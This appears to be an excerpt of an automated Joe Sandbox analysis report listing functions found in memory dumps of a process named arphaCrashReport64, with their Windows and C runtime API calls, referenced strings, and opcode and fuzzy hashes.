_errno.LIBCMT ref: 00000217793A2B2C
_invalid_parameter_noinfo.LIBCMT ref: 00000217793A2B36
_errno.LIBCMT ref: 00000217793A2B58
_invalid_parameter_noinfo.LIBCMT ref: 00000217793A2B64
_errno.LIBCMT ref: 00000217793A2B8C
_cftoe_l.LIBCMT ref: 00000217793A2BD0

Strings

gfffffff, xrefs: 00000217793A2E5B

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo$_cftoe_l_getptd
String ID: gfffffff
API String ID: 1282097019-1523873471
Opcode ID: 5ae6ad1b3ce903b755c2ece2f71ad84805c3b8c7d7631cbc5e7561ea6abc8e18
Instruction ID: 24c60f6710e888475383ffea26ee4cb1ad458d78e93721db57e944b763468b8e
Opcode Fuzzy Hash: 5ae6ad1b3ce903b755c2ece2f71ad84805c3b8c7d7631cbc5e7561ea6abc8e18
Instruction Fuzzy Hash: 4FB1867370A7844BEB118F258548BEDBBB1E3B97B4F04A621EF69177D6D6388452C300

Function 0000021779395518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000021779395585
RtlLookupFunctionEntry.KERNEL32 ref: 000002177939559D
RtlVirtualUnwind.KERNEL32 ref: 00000217793955D7
IsDebuggerPresent.KERNEL32 ref: 000002177939560D
SetUnhandledExceptionFilter.KERNEL32 ref: 0000021779395617
UnhandledExceptionFilter.KERNEL32 ref: 0000021779395622

Strings

ceil, xrefs: 0000021779395524

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID: ceil
API String ID: 1239891234-3069211559
Opcode ID: 66ac2fbe91f68a041350f3fc75b90513e980b9dbad4e79f1f9fa877e40f81b0e
Instruction ID: 3b7fcc7fbdb7b18f125b9894d52fc61bb436440f7478239dd0a3cecb32a3423b
Opcode Fuzzy Hash: 66ac2fbe91f68a041350f3fc75b90513e980b9dbad4e79f1f9fa877e40f81b0e
Instruction Fuzzy Hash: 15311D76219B8086EB608F25E8447EEB3B4F7E8768F501116EA9D47B95DF38C546CB00

Function 00000217790A81C0 Relevance: 12.3, APIs: 8, Instructions: 289COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000217790A81F4
_invalid_parameter_noinfo.LIBCMT ref: 00000217790A81FF
wcomexecmd.LIBCMT ref: 00000217790A8337

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfowcomexecmd
String ID:
API String ID: 1728837525-0
Opcode ID: 1ecebbeb37ace30139545a725b505b88b7ff7d913080444dcc587744223f7780
Instruction ID: 5fc68b91ad76d7dc27dc6fdad35be2cdd4dd1c7839e1f9308973b11666a56ac5
Opcode Fuzzy Hash: 1ecebbeb37ace30139545a725b505b88b7ff7d913080444dcc587744223f7780
Instruction Fuzzy Hash: 1E81793173DD0A0AE75AEF2844197FAB2E5FBEC360F4146299956C31D2DE24D803C2E6

Function 0000021779392C00 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(000002177938AC7C), ref: 0000021779394567
RtlLookupFunctionEntry.KERNEL32 ref: 0000021779394586
RtlVirtualUnwind.KERNEL32 ref: 00000217793945D2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939564B), ref: 0000021779394644
SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939564B), ref: 000002177939465C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939564B), ref: 0000021779394669
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939564B), ref: 0000021779394682
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939564B), ref: 0000021779394690

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: e3b3019c4e1a7badf9853d60fceb95a9add7947f81aaf153f24320ccf22126c7
Instruction ID: 8e301252f9d1573b05541e781aff23fe46e7c06a6fddc663eed5c18c8cffe872
Opcode Fuzzy Hash: e3b3019c4e1a7badf9853d60fceb95a9add7947f81aaf153f24320ccf22126c7
Instruction Fuzzy Hash: 3A31043920EB44A5EB509F54F84839AB3B4F7EC768F501116EA8D827E4DF78C056CB00

Function 0000021779394565 Relevance: 12.1, APIs: 8, Instructions: 52COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(000002177938AC7C), ref: 0000021779394567
RtlLookupFunctionEntry.KERNEL32 ref: 0000021779394586
RtlVirtualUnwind.KERNEL32 ref: 00000217793945D2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939564B), ref: 0000021779394644
SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939564B), ref: 000002177939465C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939564B), ref: 0000021779394669
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939564B), ref: 0000021779394682
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,000002177939564B), ref: 0000021779394690

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: a3f95b96577147f573111d4e9550727bed5d12e695e8ac549579d4f579014c10
Instruction ID: 43919bf56455117f4da0fdf4f7938397e34fdab20f1d734abf0f230f926e7b58
Opcode Fuzzy Hash: a3f95b96577147f573111d4e9550727bed5d12e695e8ac549579d4f579014c10
Instruction Fuzzy Hash: DF31C23960AB449AEB109F55F84839AF3B4F7EC7A8F401116EA89867E5DF79C056CB00

Function 00000217790A6E70 Relevance: 10.9, APIs: 7, Instructions: 423COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 00000217790A6E9B
_get_daylight.LIBCMT ref: 00000217790A6EB1

Part of subcall function 00000217790A7C0C: _errno.LIBCMT ref: 00000217790A7C15
Part of subcall function 00000217790A7C0C: _invalid_parameter_noinfo.LIBCMT ref: 00000217790A7C20

_get_daylight.LIBCMT ref: 00000217790A6EC6

Part of subcall function 00000217790A7BAC: _errno.LIBCMT ref: 00000217790A7BB5
Part of subcall function 00000217790A7BAC: _invalid_parameter_noinfo.LIBCMT ref: 00000217790A7BC0

_get_daylight.LIBCMT ref: 00000217790A6EDB

Part of subcall function 00000217790A7BDC: _errno.LIBCMT ref: 00000217790A7BE5
Part of subcall function 00000217790A7BDC: _invalid_parameter_noinfo.LIBCMT ref: 00000217790A7BF0

___lc_codepage_func.LIBCMT ref: 00000217790A6EE8

Part of subcall function 00000217790AC3A8: _getptd.LIBCMT ref: 00000217790AC3AC

Part of subcall function 00000217790A84C8: __wtomb_environ.LIBCMT ref: 00000217790A84F8

free.LIBCMT ref: 00000217790A6F59

Part of subcall function 00000217790A36E0: _errno.LIBCMT ref: 00000217790A3700

free.LIBCMT ref: 00000217790A6FC2

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$free$___lc_codepage_func__wtomb_environ_getptd_lock
String ID:
API String ID: 4268574505-0
Opcode ID: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction ID: 7337eea5e22c40dc221dabb64c62f7f9b48f9c0603d3384661e2c25156f7cf9a
Opcode Fuzzy Hash: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction Fuzzy Hash: 18D1A93062D7454EE76A9F28984D7E9F7E5FBE9320F44852D948AC32D2DA309803C7D2

Function 0000021779399FFC Relevance: 10.6, APIs: 7, Instructions: 143COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002177939A060

Part of subcall function 000002177939537C: Sleep.KERNEL32(?,?,ceil,0000021779394907,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 00000217793953C1

free.LIBCMT ref: 000002177939A0DE
free.LIBCMT ref: 000002177939A125
GetLocaleInfoW.KERNEL32 ref: 000002177939A15C
GetLocaleInfoW.KERNEL32 ref: 000002177939A186
free.LIBCMT ref: 000002177939A193
GetLocaleInfoW.KERNEL32 ref: 000002177939A1BE

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: InfoLocalefree$ErrorLastSleep
String ID:
API String ID: 3746651342-0
Opcode ID: bbf915b0126b6d411513f53f6a3ce8459f423b85cd882378f28b7d3cfe934764
Instruction ID: b31b6046f1d4f2dcc14f464bbe90337cda8ef9a6de8bfe7aad4ff7ed2d993816
Opcode Fuzzy Hash: bbf915b0126b6d411513f53f6a3ce8459f423b85cd882378f28b7d3cfe934764
Instruction Fuzzy Hash: 1E51D33271F64442F7605F25A9187FAA6E4ABECBBCF1062259D5987BC5EE38C8038600

Function 0000021779384380 Relevance: 9.1, APIs: 6, Instructions: 53windowclipboardCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 00000217793843CD
SendMessageA.USER32 ref: 00000217793843E1
DestroyWindow.USER32 ref: 00000217793843EF
PostQuitMessage.USER32 ref: 00000217793843F7
ChangeClipboardChain.USER32 ref: 000002177938440C
SetClipboardViewer.USER32 ref: 000002177938441A

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Message$ClipboardSend$ChainChangeDestroyPostQuitViewerWindow
String ID:
API String ID: 267668081-0
Opcode ID: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction ID: 4f09b094364e96310c090cd1f18c7ce79daea8784dbec51d55f117ca8aaf7cbf
Opcode Fuzzy Hash: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction Fuzzy Hash: EF014071B1B80186F7650FB5A84E7EAD1F0EBEC775F483530D51586AE0DE6C89E38620

Function 000002177939CDF8 Relevance: 7.7, APIs: 5, Instructions: 165COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000002177939CE1F

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

GetLocaleInfoA.KERNEL32 ref: 000002177939CE54
GetLocaleInfoA.KERNEL32 ref: 000002177939CEAC
GetLocaleInfoA.KERNEL32 ref: 000002177939CFA0

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: InfoLocale$_amsg_exit_getptd
String ID:
API String ID: 3133215516-0
Opcode ID: ee009b1be5d3d2cde25756b1d45347cc96b5970ab7b8554e0b603cf54b10ec7e
Instruction ID: db3e6a73edeb2933ab28b1f8f5ba3b3f2f122c935990f0249cb155748a4e9a65
Opcode Fuzzy Hash: ee009b1be5d3d2cde25756b1d45347cc96b5970ab7b8554e0b603cf54b10ec7e
Instruction Fuzzy Hash: C0716E3271AA8597EB699F31CA493E9F3A0F7E8769F405015D71A873C4DB38D826C700

Function 000002177939E600 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000021779399D42), ref: 000002177939E64B
GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000021779399D42), ref: 000002177939E6DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000021779399D42), ref: 000002177939E717
free.LIBCMT ref: 000002177939E72B

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWidefree
String ID:
API String ID: 40707599-0
Opcode ID: 782c2ae40ed6df9be33f17baac5655201d48837b5c5e04d882e25822c50fe823
Instruction ID: 67f17f5954f7a45bf0874b1d71f77a84fd97a0366894482e3e893a19517817d4
Opcode Fuzzy Hash: 782c2ae40ed6df9be33f17baac5655201d48837b5c5e04d882e25822c50fe823
Instruction Fuzzy Hash: 8C41633620EA8096EB609F2598087E9B7B5F7ACBBCF585711EB5947BD4DB38C5028300

Function 000002177938FCF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 000002177939004E
WriteFile.KERNEL32 ref: 0000021779390102
CloseHandle.KERNEL32 ref: 000002177939011A

Strings

GET, xrefs: 000002177938FE9E

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: GET
API String ID: 1065093856-1805413626
Opcode ID: 124d72cd5e7ec1440d321d034adbaa2753bffeffca805573d9e122f8d0dd9c20
Instruction ID: 8f41b94d1fb5620bbe883ab04d30f6a3465efa324c331b608a582c37bbadee4c
Opcode Fuzzy Hash: 124d72cd5e7ec1440d321d034adbaa2753bffeffca805573d9e122f8d0dd9c20
Instruction Fuzzy Hash: 7ED1723621AA4082F7249F21E859B9EB7B0F7E97A8F106514DF9607BD5CF38C096C780

Function 0000021779396CAC Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021779396CE5

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

Part of subcall function 0000021779396A70: _getptd.LIBCMT ref: 0000021779396AAA

Part of subcall function 00000217793952FC: malloc.LIBCMT ref: 0000021779395327
Part of subcall function 00000217793952FC: Sleep.KERNEL32(?,?,ceil,0000021779399B11,?,?,?,0000021779399BBB,?,?,00000000,0000021779394875,?,?,00000000,000002177939492C), ref: 000002177939533A

free.LIBCMT ref: 0000021779396F42
free.LIBCMT ref: 0000021779396F79
free.LIBCMT ref: 0000021779396F86

Part of subcall function 0000021779395664: GetCurrentProcess.KERNEL32(?,?,?,?,0000021779395706), ref: 000002177939567C

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$_getptd$CurrentProcessSleep_amsg_exitmalloc
String ID:
API String ID: 2889500207-0
Opcode ID: cf6d3bac5b4105b9189a72264d0d1fb0f41da62099fa96747caf025d74721c30
Instruction ID: beda6e5871130a72497e534200ab7ed0119c0e0d8a9aa15904c6cd5ca1c86f12
Opcode Fuzzy Hash: cf6d3bac5b4105b9189a72264d0d1fb0f41da62099fa96747caf025d74721c30
Instruction Fuzzy Hash: 65A1C57260BA8096EB24DF25E5487EAB7B0F3A87ACF505125EF4D47B94DB38D446CB00

Function 00000217793924A0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 229memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 000002177939274E

Strings

base, xrefs: 000002177939267B

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AllocLocal
String ID: base
API String ID: 3494564517-3233087073
Opcode ID: c0878f8b671855057f65a3e5919f93ea18debb5403dee10f9da02fb6507d340e
Instruction ID: f4af74acacb8a73583a6f4d7dc10a67835369a9c65f9ad4ead4d5709ec8cae59
Opcode Fuzzy Hash: c0878f8b671855057f65a3e5919f93ea18debb5403dee10f9da02fb6507d340e
Instruction Fuzzy Hash: 6F91077260AA4486EB54CF26D0547BAF7B1F3ECBB8F15A111DE490BBD6DA38C4938740

Function 0000021779382380 Relevance: 5.2, APIs: 4, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,00000217793822C7), ref: 00000217793824B6
VirtualFree.KERNEL32(?,?,00000000,00000000,?,00000217793822C7), ref: 00000217793824F0
VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,00000217793822C7), ref: 0000021779382643
VirtualFree.KERNEL32(?,?,00000000,00000000,?,00000217793822C7), ref: 0000021779382678

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: a19bc9080f5a4c36b6c4d71dfdc3790bb118157c9ac63d932897b30f627c45a0
Instruction ID: f4da6fea20e10a0bee00ffed6db1552bda2a57b3454a0c0d3c3a163f95532c2a
Opcode Fuzzy Hash: a19bc9080f5a4c36b6c4d71dfdc3790bb118157c9ac63d932897b30f627c45a0
Instruction Fuzzy Hash: 63A1F33230AA4487EB188F29C158FAEE3B1F798BA4F009528DE1A577D4DF34D8928750

Function 00000217790AB0FC Relevance: 107.8, APIs: 86, Instructions: 270COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00000217790AB111

Part of subcall function 00000217790A36E0: _errno.LIBCMT ref: 00000217790A3700

free.LIBCMT ref: 00000217790AB11A
free.LIBCMT ref: 00000217790AB123
free.LIBCMT ref: 00000217790AB12C
free.LIBCMT ref: 00000217790AB135
free.LIBCMT ref: 00000217790AB13E
free.LIBCMT ref: 00000217790AB146
free.LIBCMT ref: 00000217790AB14F
free.LIBCMT ref: 00000217790AB158
free.LIBCMT ref: 00000217790AB161
free.LIBCMT ref: 00000217790AB16A
free.LIBCMT ref: 00000217790AB173
free.LIBCMT ref: 00000217790AB17C
free.LIBCMT ref: 00000217790AB185
free.LIBCMT ref: 00000217790AB18E
free.LIBCMT ref: 00000217790AB197
free.LIBCMT ref: 00000217790AB1A3
free.LIBCMT ref: 00000217790AB1AF
free.LIBCMT ref: 00000217790AB1BB
free.LIBCMT ref: 00000217790AB1C7
free.LIBCMT ref: 00000217790AB1D3
free.LIBCMT ref: 00000217790AB1DF
free.LIBCMT ref: 00000217790AB1EB
free.LIBCMT ref: 00000217790AB1F7
free.LIBCMT ref: 00000217790AB203
free.LIBCMT ref: 00000217790AB20F
free.LIBCMT ref: 00000217790AB21B
free.LIBCMT ref: 00000217790AB227
free.LIBCMT ref: 00000217790AB233
free.LIBCMT ref: 00000217790AB23F
free.LIBCMT ref: 00000217790AB24B
free.LIBCMT ref: 00000217790AB257
free.LIBCMT ref: 00000217790AB263
free.LIBCMT ref: 00000217790AB26F
free.LIBCMT ref: 00000217790AB27B
free.LIBCMT ref: 00000217790AB287
free.LIBCMT ref: 00000217790AB293
free.LIBCMT ref: 00000217790AB29F
free.LIBCMT ref: 00000217790AB2AB
free.LIBCMT ref: 00000217790AB2B7
free.LIBCMT ref: 00000217790AB2C3
free.LIBCMT ref: 00000217790AB2CF
free.LIBCMT ref: 00000217790AB2DB
free.LIBCMT ref: 00000217790AB2E7
free.LIBCMT ref: 00000217790AB2F3
free.LIBCMT ref: 00000217790AB2FF
free.LIBCMT ref: 00000217790AB30B
free.LIBCMT ref: 00000217790AB317
free.LIBCMT ref: 00000217790AB323
free.LIBCMT ref: 00000217790AB32F
free.LIBCMT ref: 00000217790AB33B
free.LIBCMT ref: 00000217790AB347
free.LIBCMT ref: 00000217790AB353
free.LIBCMT ref: 00000217790AB35F
free.LIBCMT ref: 00000217790AB36B
free.LIBCMT ref: 00000217790AB377
free.LIBCMT ref: 00000217790AB383
free.LIBCMT ref: 00000217790AB38F
free.LIBCMT ref: 00000217790AB39B
free.LIBCMT ref: 00000217790AB3A7
free.LIBCMT ref: 00000217790AB3B3
free.LIBCMT ref: 00000217790AB3BF
free.LIBCMT ref: 00000217790AB3CB
free.LIBCMT ref: 00000217790AB3D7
free.LIBCMT ref: 00000217790AB3E3
free.LIBCMT ref: 00000217790AB3EF
free.LIBCMT ref: 00000217790AB3FB
free.LIBCMT ref: 00000217790AB407
free.LIBCMT ref: 00000217790AB413
free.LIBCMT ref: 00000217790AB41F
free.LIBCMT ref: 00000217790AB42B
free.LIBCMT ref: 00000217790AB437
free.LIBCMT ref: 00000217790AB443
free.LIBCMT ref: 00000217790AB44F
free.LIBCMT ref: 00000217790AB45B
free.LIBCMT ref: 00000217790AB467
free.LIBCMT ref: 00000217790AB473
free.LIBCMT ref: 00000217790AB47F
free.LIBCMT ref: 00000217790AB48B
free.LIBCMT ref: 00000217790AB497
free.LIBCMT ref: 00000217790AB4A3
free.LIBCMT ref: 00000217790AB4AF
free.LIBCMT ref: 00000217790AB4BB
free.LIBCMT ref: 00000217790AB4C7
free.LIBCMT ref: 00000217790AB4D3
free.LIBCMT ref: 00000217790AB4DF

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction ID: 44e2f9ae7b836953be905ecd84220f808baf8e023e03508d0b15c61b0682d1d1
Opcode Fuzzy Hash: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction Fuzzy Hash: 64B1753423650A4FE68EEF55C4E97D8E361FB9C750F5481B4D84D8A2E7CE125C4AC7A0

Function 000002177939B744 Relevance: 107.7, APIs: 86, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 000002177939B759

Part of subcall function 0000021779393D28: HeapFree.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D3E
Part of subcall function 0000021779393D28: _errno.LIBCMT ref: 0000021779393D48
Part of subcall function 0000021779393D28: GetLastError.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D50

free.LIBCMT ref: 000002177939B762
free.LIBCMT ref: 000002177939B76B
free.LIBCMT ref: 000002177939B774
free.LIBCMT ref: 000002177939B77D
free.LIBCMT ref: 000002177939B786
free.LIBCMT ref: 000002177939B78E
free.LIBCMT ref: 000002177939B797
free.LIBCMT ref: 000002177939B7A0
free.LIBCMT ref: 000002177939B7A9
free.LIBCMT ref: 000002177939B7B2
free.LIBCMT ref: 000002177939B7BB
free.LIBCMT ref: 000002177939B7C4
free.LIBCMT ref: 000002177939B7CD
free.LIBCMT ref: 000002177939B7D6
free.LIBCMT ref: 000002177939B7DF
free.LIBCMT ref: 000002177939B7EB
free.LIBCMT ref: 000002177939B7F7
free.LIBCMT ref: 000002177939B803
free.LIBCMT ref: 000002177939B80F
free.LIBCMT ref: 000002177939B81B
free.LIBCMT ref: 000002177939B827
free.LIBCMT ref: 000002177939B833
free.LIBCMT ref: 000002177939B83F
free.LIBCMT ref: 000002177939B84B
free.LIBCMT ref: 000002177939B857
free.LIBCMT ref: 000002177939B863
free.LIBCMT ref: 000002177939B86F
free.LIBCMT ref: 000002177939B87B
free.LIBCMT ref: 000002177939B887
free.LIBCMT ref: 000002177939B893
free.LIBCMT ref: 000002177939B89F
free.LIBCMT ref: 000002177939B8AB
free.LIBCMT ref: 000002177939B8B7
free.LIBCMT ref: 000002177939B8C3
free.LIBCMT ref: 000002177939B8CF
free.LIBCMT ref: 000002177939B8DB
free.LIBCMT ref: 000002177939B8E7
free.LIBCMT ref: 000002177939B8F3
free.LIBCMT ref: 000002177939B8FF
free.LIBCMT ref: 000002177939B90B
free.LIBCMT ref: 000002177939B917
free.LIBCMT ref: 000002177939B923
free.LIBCMT ref: 000002177939B92F
free.LIBCMT ref: 000002177939B93B
free.LIBCMT ref: 000002177939B947
free.LIBCMT ref: 000002177939B953
free.LIBCMT ref: 000002177939B95F
free.LIBCMT ref: 000002177939B96B
free.LIBCMT ref: 000002177939B977
free.LIBCMT ref: 000002177939B983
free.LIBCMT ref: 000002177939B98F
free.LIBCMT ref: 000002177939B99B
free.LIBCMT ref: 000002177939B9A7
free.LIBCMT ref: 000002177939B9B3
free.LIBCMT ref: 000002177939B9BF
free.LIBCMT ref: 000002177939B9CB
free.LIBCMT ref: 000002177939B9D7
free.LIBCMT ref: 000002177939B9E3
free.LIBCMT ref: 000002177939B9EF
free.LIBCMT ref: 000002177939B9FB
free.LIBCMT ref: 000002177939BA07
free.LIBCMT ref: 000002177939BA13
free.LIBCMT ref: 000002177939BA1F
free.LIBCMT ref: 000002177939BA2B
free.LIBCMT ref: 000002177939BA37
free.LIBCMT ref: 000002177939BA43
free.LIBCMT ref: 000002177939BA4F
free.LIBCMT ref: 000002177939BA5B
free.LIBCMT ref: 000002177939BA67
